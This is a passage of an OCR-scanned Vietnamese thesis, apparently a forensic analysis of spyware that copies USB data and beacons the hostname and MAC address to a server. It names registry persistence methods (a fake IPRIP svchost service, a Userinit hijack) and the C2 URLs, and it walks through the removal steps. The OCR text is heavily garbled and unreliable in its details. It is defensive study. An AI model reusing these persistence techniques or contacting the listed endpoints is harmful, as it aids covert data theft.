Licenge: ST-GF73-TERS-3F Jan Mach, Mach EDV Diemstleistungen (L user)
The notkeys are FSi decomgile, CSri-Fi: decowpiie all,
Please cneck the E41T/Muging senu for sore informaton,
viing FLIAT sfgratura: Microsalft VIsSudlc 2-8/net rustise
Fropagsting tymse inforasticn...
Furdtion argenent 1nfgraation has been propsgated

Al e Down O 268 Ochoon node Sl to sefectidres It; DRiCkck an edge %2 follow It Whae! 1 2ol vertiorty; Cirl ARLSNR Sor more spiio

Hinh 9. Str dung IDA Pro dé phan tich

Trong chuong trinh IDA, ¢6 nhiéu cira s6 con (subview) nhu IDA View-A,
Hex View-A... nhung cic subview thuong duoc chil ¥ nhiéu nhat 12 IDA View-A

(hién thi m& 1énh va luu d6), String (hién thi cac xau ky tu xuat hién trong module).

That vay, khi chuyén sang subview String, ta tim thay nhiéu chudi ky ty pho
hop vai nhitng nhan dinh trude day
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00000630 € C \\Program Fled\\Comman Files\\Miciosolt Sharad\\MSInda\\Me[IL 54
00000030 C C:\\Program Fles\\Commaon Files\\Microsoft Sharad\\MSinfo\\MsDFza
00000030 C C:\\Program Fles\\Common Files\\Mictasoft Shared\\MSInto\\MsDdac

IPRIF
netsves
SOFTWARE\\WMicrogof\\Windowss NTA\\CuereniVarsion\ \Sychost

IPRIP

* data7100._,
L data 100

(0000035 C

00000006 C

s . mann AARARRL™ W

~ L AA A4l

Hinh 10. Subview String ctaa IDA khi phéan tich mdidll.dll

O day c6 dudng dan dén ba thu muc la néu trén — 1a cac thu muc dugc tao ra khi
phan mém duoc cai cam, 1a dia diém sao chép file vao; dong thoi co gié tri khoa
registry SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost — day 1a
khoa dé kich hoat module mdidll.dll théng qua svchost.exe. Ngoai ra con c6 tén caa
cac 101 goi API thao tac vai file, 6 dia, tién trinh... Dac biét chi y ¢ trong cac chudi
ky tu c6 chudi IPRIP... Day 1a chi tiét co y nghia quan trong trong viéc goi ma, truy

tim dich vu c6 tén IPRIP va g& bo no.

Nguoi thuc hién di tién hanh phan tich mot vai doan ma Iénh cua module
mdidIl.dll && ching minh hanh vi ma module nay thuc hién gidng nhu biéu hién
trong hé théng (Phu luc). Tuy nhién, viéc phan tich ma 1énh dé chang minh hanh vi

cua module la viéc 1am kho khan.

Qua phan tich ciing cho thdy module nay di tao ra khoa
HKLM\SYSTEM\CurrentControlSet\Services\lprip vai cac gia tri:

ImagePath = ""%SystemRo0t% \System32\svchost.exe -k netsvcs'*

ServiceD Il = ""C: \ Windows\system32\mdidIl.dlI**
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Va mét sd giéa tri khac. Cac gia tri nay dung dé khoi dong mdidll.dll cing
Windows bang céach gia danh dich vu IPRIP do svchost.exe quan ly.

Khi tim kiém cac dich vu dang hoat dong trén may, that su c6 mot dich vu tén

goi Iprip duoc svchost.exe goi dén

or CAWINDOWS\system32\cmd . exe

»i\>tasklist /sve

Image Name PID Services

CE T T - HEEREEE SR e - S e

bystem ldle Process @ NA

sten 4 N/R
S8 . EXE 520 N/A
SRSS . ERE 668 N/A
INLOGON. EXE 692 N/A
ERUICES .EXE 744 Eventlog, Plu%Play
SASS .ERE 756 Policyfigent, ProtectedStorage, SamnSs
UCHOST . EXE 908 DcomLaunch, TermService
UCHOST . ERE 996 RpcSs
UCHOST .EXE 1128 AudioSrv, Brouser, CryptSvc, Dhcp, dnserver,

ERSvc, EventSystenm,
FastUserSwitchingCompatibility, helpsvc,
Iprip, lanmanserver, lanmanworkstation,
Netman, Nla, RasMan, Schedule, seclogon,
SENS. SharedfAccess, ShellHWDetection,

L

Hinh 11. Liét ké cac dich vu hoat dong trén may bi cai cam

Tra ctu thong tin trén Internet cho thay, IPRIP la tén dich vu IP Listener, sir
dung giao thic RIP (Routing Information Protocol: giao thic dinh tuyén théng tin).
Tuy nhién, dich vu nay thuong khong cai dat va it khi c6 trén cac may tram ma chi

danh cho cac hé may chu. Pay ciing 1a mot diém nghi van cua mdidil.dll.

Mt khac, theo két qua dung cac chuong trinh quét virus va spyware, khong phat

hién mdidll.dll nhidm loai virus nao cho dén thai diém hién tai.

Nhu vay, qua phan tich cho thiy module mdidll.dll chi c6 nhiém vu sao chép
dir liéu tir USB vao 6 cang va khong cé hanh vi nao khéc (goi module khac, kha
nang lay lan...)

Sau khi phét hién, nguoi phan tich thir tién hanh g& bo hoat dong cua module

nay. Thtr x6a module mdidll.dll, khéng thé x6a duoc vi né dang dugc svchost.exe
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diéu khién. Nhu vay, phai ding hoat dong cuaa svchost.exe c6 sir dung IPRIP trudc,
sau d6 mdi ¢ thé xoa duogc file nay. Budc tiép theo 1a x6a bo khda HKLM\
SYSTEM\ CurrentControlSet\Services\lprip trong registry. Khaoi dong lai hé
théng va thir cam USB, hién tuong sao chép dix liéu trong USB khong con xay ra.
Str dung Process Explorer ciing khéng tim thdy module nay trong svchost.exe nira.

Nhu vay ta da g& bo thanh cong module mdidll.dll

CAWINDOWS\system32\cmd. exe

:N\>del VINDOWS\system32\ndidll.d1ll =1
INWINDOWSA\systen32\mdidll.d11 J
ccess is denied.

:\>taskkill /F /F1 "SERUVICES eq Iprip"

UCCESS: The process with PID 1888 has been terminated.

RROR: The remote procedure call failed.

:\>killed Iprip

'killed’ is not recognized as an internal or external command,

perable program or batch file.

Nodel VINDOUWS\systemidI2\mdidll.d11

>:\>del mdidll.dll Successful?

‘dell’ is not recognized as an internal or external command,

perable progranm or batch file.

:N\2REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\lprip

_>grnanant19 delete the registry key SYSTEM\CurrentControlSet\Services\Iprip (Y/N
| v

The operation completed successfully

k:\)Uninstall mdidll.d1ll successfully?_ nd
Hinh 12. G& bo mdidll.dll
2.1.2.2. Thanh phan théng bao dia chi

Sau khi tim kiém duoc thanh phan thu tin, ngudi thuc hién nhan dinh rang
phai c6 mot tién trinh nao khac tién hanh viéc truyén tin nay ra ngoai hoic théng bao
dia chi cho bén ngoai dé thAm nhap vao ldy tin. Nhu vay, tién trinh d6 phai st dung
dén két ndi Internet, truy nhap dén mot dia chi nao d6 va chiém mot thong luong

mang nhat dinh.
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V61 nhan dinh d6, nguai thuc hién sir dung chuong trinh Ethereal, mét chuong
trinh quét mang rat manh dé xem thong luong mang va cac két néi dén/di ma may

tinh dang sir dung. Két qua quét mang thu duoc file log véi ndi dung nhu sau:

No. Time Source Destination Protocol Info

49 22.201.099 10.0.104.63 10.0.104.28 TCP 1546>http [SYN] Sec0 Ack=0 Win=65535 Len=0 MSS=1260

Frame 49 (62 bytes on wire, 62 bytes captured)

Ethernet II, Src: 10.0.104.63 (00:11:25:68:09:4c), Dst: 10.0.104.28 (00:11:25:4d:d1:3e)
Internet Protocol, Src: 10.0.104.63 (10.0.104.63), Dst: 10.0.104.28 (10.0.104.28)
Transmission Control Protocol, Src Port: 1546 (1546), Dst Port: http (80), Seq: 0, Ack: 0, ILen: O
No. Time Source Destination Protocol Info

50 22.296912 10.0.104.63 60.10.1.244 <P 1529>http [FIN, ACK] Seqg=0 Adk=0 Win=65357 Len=0

Frame 50 (54 bytes on wire, 54 bytes captured)

Ethernet II, Src: 10.0.104.63 (00:11:25:68:09:4c), Dst: 10.0.104.27 (00:15:£2:8d:14:c9)
Internet Protocol, Src: 10.0.104.63 (10.0.104.63), Dst: 60.10.1.244 (60.10.1.244)
Tranamission Control Protoocol, Src Port: 1529 (1529), Dst Port: http (80), Seq: 0, Ack: 0, Ien: 0
No. Time Source Destination Protocol Info

55 22.334 10.0.104.63 60.10.1.244 HTTP GET /httpdocs/mm/ibm-94c0aé3e40a:00-11-25~
68-09-4C/Cmwhite HTTP/1.1

Frame 55 (175 bytes on wire, 175 bytes captured)

Ethernet II, Src: 10.0.104.63 (00:11:25:68:09:4c), Dst: 10.0.104.27 (00:15:£2:8d:14:c9)
Internet Protocol, Src: 10.0.104.63 (10.0.104.63), Dst: 60.10.1.244 (60.10.1.244)
Transmission Control Protocol, Src Port:1547 1547), Dst Port:http (80), Seq: 1, Ack: 1, Len: 121
Hypertext Transfer Protocol

No. Time Source Destination Protocol Info

65 22,418 10.0.104.63 60.10.1.244 HTTP POST /cgi-bin/Owpgd.cgi HTTP/1.1

Frame 65 (309 bytes on wire, 309 bytes captured)

Ethernet IXI, Src: 10.0.104.63 (00:11:25:68:09:4c), Dst: 10.0.104.27 (00:15:f2:8d:14:c9)
Internet Protocol, Src: 10.0.104.63 (10.0.104.63), Dst: 60.10.1.244 (60.10.1.244)
Transmission Control Protocol, Src Port:1548 (1548) , Dst Port: http (80), Seq: 1, Ack: 1, Len: 255

Hypertext Transfer Protocol

Két qua cho thiy, dia chi IP caa may bi cai dat phan mém 1a 10.0.104.63.
Ngoai viéc két ndi véi cac may trong ciing mang noi b (véi may 10.0.104.28), may
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tinh nay con két ndi ¢én mot dia chi ip la khéc (60.10.1.224), mic du ngudi phan
tich khong sir dung bat ctir chuwong trinh nao c6 két ndi Internet. Bé xac minh thdng
tin vé dia chi ndy, ta sir dung dich vu WHOIS cua Internet. Két qua cho thiy, IP nay

la mot web server duoc cai dat Apache, véi 3 website

IP Informetion for 60.10.1.244

19 Location{ll Chra 106 (6 0F Croyeup-he Langhng Oy Hebar frovece )
P Address: 0.1.244 Wl R 131 @) /¥

Reverse IP: [ (ihar pteg hosted on th
Blacklist Statws: Ceor

Whols Record

& irsemat " No% -

Hinh 13. Théng tin vé IP 60.10.1.244
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Rewian P

Vitow all it vt Dostist! oo an P aslihoees - Mcrmsatt lodo Okt D drieer

O Q- MRBG P drrewm @3- LEOY D

€0.10.5,244

Reverse IP - View all domain names hosted on an IP address

Look an 1P Address

Reverse 1P Intecfoce
Enter an [P address or domain name into the form below and cick "Look Up* o get a list of
domains bosted oo the same [P address,

1P /Domain vame:  60.101.244 ‘ e

Exampler 192.168.% or 64.233,161.104 -t e r

e ——— At A & o a e
There are 3 deenans hosted on this 1P address

Bluewinnt.com =
2. Gasdde.com g -
3. Secxecnet Py

ecsyc.net ——

10 Explorar -

New! Domain Tools has tarned Reverse 1P mlo & visual represestation of the internet. Now you
san yeu which 19 blocks have Yhe maet demains on tham, Chick through the P blocks to discover

haw hoste companies hand aut their 1P addresses, This tool & offerad for froe to of Domam Tools
wsers,

1P Explorer Interfoce
I,

What Is Reverse 197

129.042.222, ==
Reverse [F 15 sasiest way o find all the .com, net, org, D2, us, and info webiler hadted on & —
gvon I addeass, Entar an 1P addracs or domain name and mecawe 4 St of wp to 2,000 dornams

Basted on that [0, Lookups with over 2000 results can be orderwd a¢ & réport containng the full

het

) et fdwhass donveriacks. comJgeddep. com

® htwret

Hinh 14. Cac website dwoc dit trén dia chi IP 60.10.1.244

- www.bluewinnt.com

- www.qggsddup.com

- WWW.SECSVC.Com

Thong tin c6 dugc cho thiy dia chi IP nay c6 dia diém tai Trung Quéc.

Phan tich théng tin gui di:

GET /httpdocs/mm/ibm-94c0a63e40a:00-11-25-68-09-4C/Cmwhite HTTP/1.1
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Cho thay ibm-94c0a63e40a 1a tén cia may trong mang, con 00-11-25-68-09-
AC chinh 1a dia chi MAC cua card mang trén may dang nghién ctiu. O day ta thay
viéc guri thong tin di dugc thuc hién thong qua giao thic HTTP véi cac phuong thic
GET/POST.

Qua phén tich ma 1énh ctia module nay (Phu luc), nguoi phan tich da xac dinh

duoc website don nhan tin gui vé chinh 1a http://yz5.bluewinnt.com. Trong phan

ma 1énh module, chudi ky tu nay dugc ma hda rat k§ ludng va duoc giai ma trude

khi duoc sir dung do d6 rat kho phat hién.

Nhu vay, ta khiang dinh riang, module thong bao dia chi da gui théng tin cua
may tinh bj cai dat phan mém, bao gém tén may va dia chi MAC vé serve trén
Internet véi cac lién két sau:
http://yz5.bluewinnt,com/httpdocs/mm/<tén may>:<dia chi MAC>/Cmwhite

http://yz5.bluewinnt.com/cgi~bin/Clnpp5.cgi
http://yz5.bluewinnt,.com/cgi-bin/Owpad.cgi

Ltc kham pha trudng hop nay, khi ghé thim website néu trén, website van
tén tai nhung bao 1a dang xay dung (“Underconstruction”). Hién nay, khi truy cap

vao website nay, chi con tén mién www.bluewinnt.com va duoc théng bao la mot

trang thir nghiém. P6 &n nhan dinh rang rat cé thé do 16 ¥ d6 thu tin nén co quan

dac biét nudc ngoai da g& bo website nay.

Pé xac dinh module gy ra hanh vi théng bao dia chi, ngudi phan tich di st
dung chuong trinh Security Task Manager (kha ning quét tién trinh sau hon ca
Process Explorer) va tim kiém dugc mot tién trinh c6 tén rat la: itirclt.exe. Ciing
thong qua chuong trinh ndy, ta biét duoc nd duoc khai dong cuing Windows bang
cach thém gia Userinit caa khoa HKEY_ LOCAL_MACHINE\SOFTWARE
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\Microsoft\Windows NT\CurrentVersion\Winlogon doan Iénh goi dén né:
C:\WINDOWS\system32\itirclt.exe. File nay c6 dung luong 23kb

& Socurity Task Manapar

Gle €t \ew Heb
{J*Wrdom peocesses I Romove 3l Quaantne @ Google
Name . Haling CPU Memory  File Typa A
ViMware Took i 0% 25MB C:\Progam Files\VMware\VMware Tools\VMwarel)ses exa Piogiam
& VMwere Tools 0% 1.7MB C:\Program Files\YMwate\VMwars Tools\VMwaieService exe Program
Apphication Laver Gateway Service 0%  3IMB C\WINDOWS\Systen3I2\ak) eve Progiam
| CA Cholt 1T imaneh Hanrmamnl ny NAMD AV MAINN T b s TN L s e Dot mone D
< ‘ ?
itircht, exe [ Propees.. Raling Teut in fils
Note: File no longer exsts ? 6BE Ermor; The systes cannct Ind the
Mandathios » Na description of the program 3] =] lie speciied
Dair Mona . (Ve L
Type Program, hedden & not achve )
Stant when Windows tlats, Regaliy. ...
Fils CAVINDOWS\system3. \brck exe ,
Comment ‘ Hating: harmless

Hinh 15. Security Task Manager quét duoc itirclt.exe

Nghi van module ndy, ngudi phan tich dua nd vao chuong trinh IDA Pro dé
phan tich hanh vi. Tuy nhién, khi load module nay vao IDA, ching ta khéng thé doc
dugc mé, va cé4c section cua file da bi thay doi thanh UPX1, UPX2 hoic UPX3, c4c

string cling bi m& hoa, chi xem duoc cac 1oi goi API

W

UPX1:0058A800 assume cs:UPX1 2l
UPX1:00kOR00OD ;org 40a8eah
UPX1:ABLEADOD assume es:nothing, ss:nothing, ds:UPX@, fs:nothing, g
*UPX1:0050A000 dword_ 4090080 dd OFFFGFFFFh, 244EC81h, 55530000h, 3FB95756h, 0C0330
UPX1:0050A000 ; DATA XREF ub_40F360+130
UPX1:00RBAOHD dd S5247C8Dh, SA2uN4C6Hh, G66ABF300h, GDB72DBBSh, GBC1S
UPX1:0050n000 dd S84C608@1h, 1BBEG917h, 71AB6CCH, 6134352Fh, 6B1FEEF
UPX1:0080R000 dd 40BO38h, GANOGADBGSh, 1BOOBAESh, OF4868CCh, B9B390B9
UPX1:0OKRABDD dd OFB68588Eh, OBFESEDDDh, OC983C31Ch, 786853FFh, 0OF7
UPX1:00NBANGO dd 1EF928D1h, 1FBDCDFFh, OD18BF78Bh, 161DSABFh, BC1AF
UPX1: 80400000 dd OASF3B2E9h, 6FDYCBSDh, 3E18307h, 8859AAF3h, OCES5CE
UPX1:8040R000 dd OEEABSEESh, OCBSCS5Ehh, UB108FB8CBNh, 26K2EM2Eh, 423
UPX1:08hEADDE dd %842E42Eh, 2F0B4358h, GB17868BEAh, 84288800k, 3BB19
UPX1:zH0NEAB00 dd 0BBOB90SDh, OABS998BOh, YUBYBBEEh, ODSCBBYEGBh, 908
UPX1: 00500600 dd 0B8208F80Bh, OCASCASCEh, SC3R2818h, AES5CH5C8H, S5C84
UPX1: 00400000 dd 8B7885C8h, UBOAM2EN2ER, BB2B2B2EFh, H2ER2E52h, AK2EN
UPX1:0058R000 dd BB2B2EN2ER, 85C85CB3h, 3828GE20h, B85C85C85nh, 85C85
UPXTz B040A 000 dd 7868C85Ch, BS5C85C88h, MBBABYBSCHh, S85C85C85h, SSEMD |
<l ’ ]
00000400 DO$0A000: UPX 1:dward _404000

Hinh 16. IDA khéng thé doc duoc ma cua itirclt.exe
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Thur load vao Olly Debug, ta nhan dugc thong bao doan ma Iénh cua file nay
d4 bi nén, ma hoa hoic nhdng thém dir liéu. Viéc phan tich ma c6 thé khéng tin
hoic sai 1am

[y 45 ade) 2

Compressed code?

Quick statistcal test of module 'itrdt reports that its code section is either compressed, encrypted, or contains large
\g/ amount of embedded data, Results of code analyss can be very unrelisble or simply wrong. Do you want to continue

analysis?

Hinh 17. Théng bdo méa héa module itirclt.exe cua Olly Debug

Nhu vy, module nay da bi pack va ma hoa, co thé 1a dung packer UPX. Dé
tim hiéu xem né duoc pack bang chuong trinh nao, phién ban nao, nguoi phan tich
st dung chuong trinh PEiD dé quét véi tly chon Deep Scan. Két qua cho thay
chuong trinh nay da bi pack boi packer UPX phién ban 0.89.6 — 1.02 hoac 1.05 —
1.24

72 DEID v0.93

Fie: | D:\Graduation paper\bk\pk\tirct.exe : E
Entrypoint: | 0000F48F EP Section: |UPX1 >
Fie Offset: |0000588F FirstBytes: [6A,01,6AFF | > |
Linker Info: |6.0 Subsystem: |Win32 GUI >

UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo [Overlay]
Muit Sca&J  Task Viewer J ~ Qptions | About | Exit

ettt \——————t— bt i Rl BSES__trbateSiNN R PO _,_._l

IV gtay on top =] | >]

Hinh 18. PEid quét thong tin itirclt.exe
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Str dung chuong trinh RDG Packer Detector, két qua thu duoc cho thay module
nay bi nén boi UPXX V0.80-V1.25

- RDG Packer Detectbr VO.5.7 B['fA C\opy'Righ(

Fie —

D:\Graduation paper\bk\itirclt. exe Open I

Compression - Encryption - Compiler :

<-Compiler->
UPX V0.80 - V1.25 <-Detected->

Upolix Deteccién Heuristica <-Possible->

Contact :»  www.upx sourceforge. net Stayontop |

ooy gy ’ g Dded i

File scannedin .16 Seg. CMA GMBE mE mEEE

Hinh 19. RDG Packer Detector quét itirclt.exe

Nhu véy, hai chuong trinh cho biét module nay dugc pack bang packer
UPX, mac du phién ban khéng thong nhét. Tuy nhién diéu d6 khong quan trong,
UPX phién ban mai nhat hd tro tat ca cac phién ban trude d6. Do do, ta c6 thé sir

dung UPX 3.02w dé unpack module nay

v CAWINDOWS\system 3 2\emd., exe

k:\llPX)upx -d itirclt.exe -
Ultimate Packer For elecutables
Cogyright <C)> 1996,1997.1998,.1999.,2000,2001,20802,2003,2004,2005, 2006 , 2007
PR 3.82w Markus Oberhumer, Laszlo Molnar & John Reiser Dec 16th 2087

! File size Ratio Fornat Name

1 53270 <~ 23574 44.25z  win32/pe itirclt.exe
Unpacked 1 file.

C\UPKD,

|
v
|
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Hinh 20. St dung UPX 3.02w d¢é unpack itirclt.exe

UPX s& unpack va ghi d¢ 1én file initrclt.exe géc, dé phan biét ta dit lai tén
cho file nay la itirclt_unpack.exe. File nay c6 dung lugng I6n hon so vai file cii (52
Kb).

Sau khi unpack, ta lai sir dung PEID v RDG Packer Detector kiém tra
itirclt_unpack.exe thi thu biét dugc module nay duoc 1ap trinh bang ngbn ngir C++

va duogc bién dich trong moi treong Visual Studio 6.0

T day ta dua itirclt_unpack.exe vao IDA Pro dé phan tich mot cach binh

thudng. Trong khi phén tich, ta thu dugc mét s6 chi tiét quan trong sau:

Trong subview String caa IDA, c6 nhiéu thdng tin tring hop véi nhitng phan

tich trudce do.

O day c6 chudi ky tu %602X- 0 /002X-%602X-0 /002X- 0 /002X- 0 /002X, day
la 1énh cua ngdn ngir C++, mdi tham s6 %602X chi dinh chudi 2 ky tu dang hexa.
Nhu vay, day chinh 1a dinh dang dia chi MAC. Ngoai ra c6 cac chudi /Cmwhite,
POST ... xuat hién trong cac géi tin ma Ethereal thu duoc. Thém vao d6 1a tén cac
phién ban cua hé diéu hanh Windows. Théng qua cac chudi ky tu trén, ching ta biét

duoc module nay con tién hanh kiém tra hé diéu hanh cua may bi cai dat
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data 0040, 00000040 wri... (]| H

14
-

o o)
oy

C virdows 55
" daaC040.. 0000000 C windows 58
" dea0040.. 00000010 C windowe NT 351
" daa0040..  0O0000OF C windows NT 4.0
" daa0040.. 00000008 C windows me

wandows xp

- -

Hinh 21. Subview String ctaa IDA khi phan tich itirclt_unpack.exe

Dé hiéu sau hon hanh vi caa module ndy, ta ¢ thé phan tich ma 1énh cta né bang

IDA . Qua phan tich, két qua thu duoc thém mét sé chi tiét quan trong sau:

- Sau khi duogc kich hoat, module nay tu dong unpack va sao chép chinh n6 vao
thu muc %6systemroot%\system32\itirclt.exe

- Lién tuc chén ma doc vao Explorer.exe, tao ra 2 mutex (mutual exclusion) la

MAIN va CMD dé trong mét Itc chi cho phép hoat d6ng mét ban sao cua virus,

Sau khi da xac dinh chinh x&c itirclt.exe 1a tic nhan thong bao dia chi ra bén

ngoai, ngudi phan tich tién hanh g& bo hoat dong ciia module nay.

Trudc tién, thir xoa file itirclt.exe, két qua xéa duoc nhung mot thoi gian sau,
file nay lai dugc ty dong tao ra. Khing dinh phai ¢ tac nhan nao do thuc thi viéc
nay, nguoi phan tich da s dung FileMon theo d&i thu muc:
\WINDOWS\system32 trong khi x6a itirclt.exe dé do xét. Két qua thu duoc chi tiét
quan trong la file dpnclt.exe di yéu cau Explorer.exe kiém tra file itirclt.exe, néu

khdng c6 thi s& tao ra file d6 bang cach copy tir dpnclt.exe
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Fle Edit Ovtkns-ﬂeb

HE RIBE O 97 Ay

me Process Reguest Path Resul Other -
1.25AM  EXPLOREREXE 4. DIRECTORY CAWINDOWS \apstem32\ MO SUCH... FileBothDwectondnd
1.25AM

Y EXPLOREREXE 14 CLOSE CAWINDOWS \spatem32\ SUCCESS
o T i3

1:25 AM EXPLORER EXE 14 DO Sy SUCCESS Options: Open Direc
1.25AM EXPLORER EXE:14._ D CAWINDOWS \system32\ SUCCESS  FileBothDirectowyinde
1:25AM UPE! CAWINDOWS \spstem32\dpncht exe SUCCESS Options: Open Sequ
1:25AM €14, QUERY INFORMATION CAWINDOWS\spstem3Adpncll. e INVALID . FilsAtttibuteT aginfoe
1:25AM BER EXE 14 QUERY INFORMATION CAWINDOWS \sptiem3Zdpncit ens SUCCESS  Lengthc 23574
1:25AM PLORER EXE 14, QUERY INFORMATION CAWINDOWS\system32\dpnch exe SUCCESS  Amsbutes: A

1:25 AM {PLORER.EXE 14 QUERY INFORMATION CAWINDOWS\syslem32\dpncllexe INVALID .. FilsStieaminicamato
1:25AM - QUERY INFORMATION CA\WINDOWS\spstem32\dpnchl. e SUCCESS  Amsbutes: A

1:25 AM _ QUERY INFORMATION CAWANDOWS \syslem32hdoncll ews

SUCCESS _ File€ slnlotmation

ol ess

CAWINDOWS system32\ CCESS  Opbions: Open Disec

125AM /9 EXPLOREREXE14.. OPEM

1:25AM L WINLOGON EXE:654 DIRECTORY CAWINDOWS\Systesl2 SYCCESS  Change Notily
1:25AM | ¥ EXPLDREREXE:14.. DIRECTORY CAWINDOWS\System32 NOTIFY E... Change Notily
1:25AM EXPLORER.EXE 14... DUERY INFORMATION CAWINDOWS \system32\ircit. exe SUCCESS  FileF sAttributelrdoun

1:25 AM
1.25AM
1:25AM

EXPLORER.EXE:14.. QUERY INFORMATION C\WINDOWS \system32\Rircll.exs
EXPLORER EXE 14 QUERY INFORMATION C:\WINDOWS\system33\dpnch. e
EXPLORER EXE-14_. SET INFORMATION  C\WINDOWS \system32\Rirch exs

CESS  Amsbutes A
JCCESS  FileFsAttiibutetnioom
CESS  Lengiy 23574

1.254M WINLOGON EXE 864 DIRECTORY CAWANDOWS\Spatem32 UCCESS  Change Notly
1:25AM EXPLORER EXE14.. QUERY INFORMATION CAWINDOWS \system32\dpnch exe SUCCESS Lengtn 23574
1:254M EXPLORER EXE- 14, WRITE CAWINDOWS \spstem32ARinch exs SUCCESS  Offset 0 Lengthy 23
1.25AM Y EXRLOREREXE 14 SET INFORMATION  CAWINDOWS\spstem3Aduch exe SUCCESS  FileBascinfosmation
1:25AM DIRECTORY CAWINDOWS\System32 Change Notily
1:25AM ¢ EXPLORER .. DIRECTORY CAWINDOWS \System32 NOTIFYE... Change Notify
126AM N EXPLORER EX CAWINDOWS \spstem32\dpnch oxe SUCCESS

125AM EXPLORER EXE) CAWINDOWS\spatem32hircht e SUCCESS

125AM EXPLORER EXE 14, CAWINDOWS \Syst Change Nobly
1:25AM EXPLORER EXE 14 NWANDOWSielem 32\ SUCCESS  Optiorss: Open Oiec
1:25AM EXPLORER EXE14._ DIRECTORY CAWANDOWS \system32\ SUCCESS  FileBothDuechonyln
1.26AM EXPLOREREXE-14.. OPEN CAWINDOWS \gpetem3\ SUCCESS  Opliors: Open Direc
1.26AM EXPLORER EXE14._ DIRECTORY CAWINDOWS\system32\ SUCCESS  FileBothDweclonyink
1AM W EVBINREBEVE A GET INENRMATION  FANas manle snd Gallnartasen lane Miank | slnbioss  GHEFECE | ancti 107

< >

Hinh 22. Két qua sir dung FileMon khi xda itirclt.exe

Nhu vay, ngoai viéc itirclt.exe tu sao chép né vao C:\WINDOWS\ system32 thi
né con tao ra mot ban sao vai tén dpnclt.exe. Viéc tao ra hai mutex chinh 1a nham
dam bao trong mot thoi diém chi cho phép hoat dong mot trong hai ban sao nay.
Piéu ndy c6 ¥ nghia quan trong trong viéc xac dinh thanh phan thong bao dia chi va

go bo chdng.

Khi da xac dinh dugc cac thdng tin trén, ngudi phan tich tién hanh x6a dong
thoi itirclt.exe va dpnclt.exe, sau d6 kiém tra thu muc hién tai thi khdng thay ching
dugc tai tao. Bong thoi, sir dung chuong trinh FileMon dé giam sat thi cling khong

thay Explorer.exe truy nhap vao 2 file nay nira
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Budgc tiép theo, ta phuc hdi gia tri Userinit trong khéa HKEY LOCAL
MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Winlogon

tré lai nhu cu:
Userinit = "C:\WINDOWS\system32\userinit.exe"

Khaoi dong lai may va dung Ethereal dé quét thong lugng mang, may tinh khéng
két ndi dén dia chi IP la nita. Nhu véy, ta d3 g& bo thanh cong thanh phan théng bao

dia chi.
2.1.2.3. Thanh phan lgi dung 16 hong dé lay tin

Qua trinh thu thap tin tac lIa mot qué trinh hoan chinh tir khau thu tin, gui tin
dén khau nhan tin da thu thap duoc. O trén ta dd xac dinh duoc hai thanh phan: thanh
phan thu tin va thanh phan thong bao dia chi. Nhu vay, chac chan phai c6 mot thanh
phan thir ba dén 1y va tong hop céc tin tac thu duoc.

Nhu da néi & trén, thanh phan thong bao dia chi da giri cac thong tin vé tén may,
hé diéu hanh, dia chi MAC.. cia may bi cai cim ra bén ngoai. Cho nén, cé thé nhan
dinh rang viéc lay tin thu thap c6 thé duoc tién hanh theo hai huéng ;

- C6 nguoi trong co quan dai dién cua ta & nudc ngoai cai cim phan mém nay
dé thu tin, va chinh ho hoac mét nguoi khac s& vao truc tiép may tinh dé sao chép
cac dit liéu thu duoc.

- C6 chuyén gia k¥ thuat, sau khi biét duoc dia chi MAC ciia may d6 sé loi dung
cac 15 hong bao mat (thong thudng may nao ciing c6) dé tan cong vao may tinh va

sao chép cac di liéu thu thap dugc.

2.2. Panh gia, két luan
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Tt nhitng vi du duoc hudng dan va phan tich ¢ trén, ta cd thé dua ra dugc nhiing
nhan xét nhu sau:

- Hién truong ma nguoi thuc hién duoc giao hoan toan giéng véi hién trudng
thuc, cO hién tuong tu dong sao chep dit liéu trong USB flashdisk vao thu muc
C:\Program Files\Common Files\Microsoft Shared \MSinfo ngoai trir cac file va

thu muc duge dat tén tiéng Viét c6 dau hoic tiéng Trung.

- Sau khi kiém tra, phan tich ki ludng, di d¢én két luan: Hé thdng nghién cau
d4 bi cai dat phan mém cai cam nham thu tin bi mat tr thiét bi USB flashdisk. Hé
phan mém nay bao gom ba thanh phan: thanh phan thu tin, thanh phan théng bao dia
chi va thanh phan loi dung 16 hong dé thu tin. Tuy nhién, trén may bi cai cim chi
phat hién hai thanh phan: thanh phan thu tin (module mdidlIl.dll) va thanh phan théng
béo dia chi (module itirclt.exe). Hai phan mém nay duoc Iap trinh mét cach tinh vi,
giai thuat phuc tap, st dung nhiéu tha thuat ma héa méa 1énh va ma hoéa di lidu (cac
chudi ky tu dugc sir dung), ky thuat an giau khon ngoan, rd rang dugc tao ra c6 chu
dich va khong duoc cong bd (mdidll.dll) thi nguoi sir dung binh thuong khong thé
x6a dugc va cac chuong trinh diét virus spyware cling khong phat hién ra. Mot thanh

phan khac (itirclt.exe) thi ¢ thé x6a dugc nhung lai ty tai tao ngay lap tic.

- Tir hé théng dang nghién ctu, ta ¢d thé tao duoc mét hién truong day du cac
tinh nang nhu hién trudng cii mot cach tha cong bang cach sao chép, kich hoat cac
module, thém cac khda trong registry. Ta khang dinh rang cac phan mém nay c6 thé
duoc goi vao thiét bi luu trir va cai dat 1én may mot cach tha cdng, hoic co thé cai
dat théng qua dich vu web, mail khi ngudi st dung truy cap vao cac website, cac
lien két khdng an toan hoic cac mail c6 dinh kém file chira ma doc. Viéc cai dat nay
la c6 chu dinh chir khdng phai vo y. Tuy nhién hai phan mém nay khdng c6 kha nang
lay lan nhu virus. Diéu nay cang chang to hé phan mém nay duoc viét ra khéng

nham muc dich pha hoai, tréu dta nhu cac chuong trinh ma doc khac.

61



Phuong phap phat hién phdn mém cai cim dé chan thu tin bi méat qua mang internet

- Khi hoat dong, mdidll.dll phai tao ra cac thu muc MsDdac, MsDFsa va
MSDLsa trong thu  muc C:\Program Files\Common Files\Microsoft
Shared\MSinfo, do d6 c6 thé dua vao ngay thang tao lap cac thu muc va cac file dé

Xem may bi cai cam phan mém vao thoi gian ndo, bat dau thu tin tir ngay nao.

- Tir khang dinh dia chi MAC rét kho bj 16 ra bén ngoai, ta c6 thé thiy dugc mot
kich ban: mot ngudoi truc tiép cai cam hoic tao didu kién cho nguoi khac truc tiép
cai cam, mot ngudi truc tiép 1ay tin hoic tao diéu kién cho ngudi khac truc tiép vao
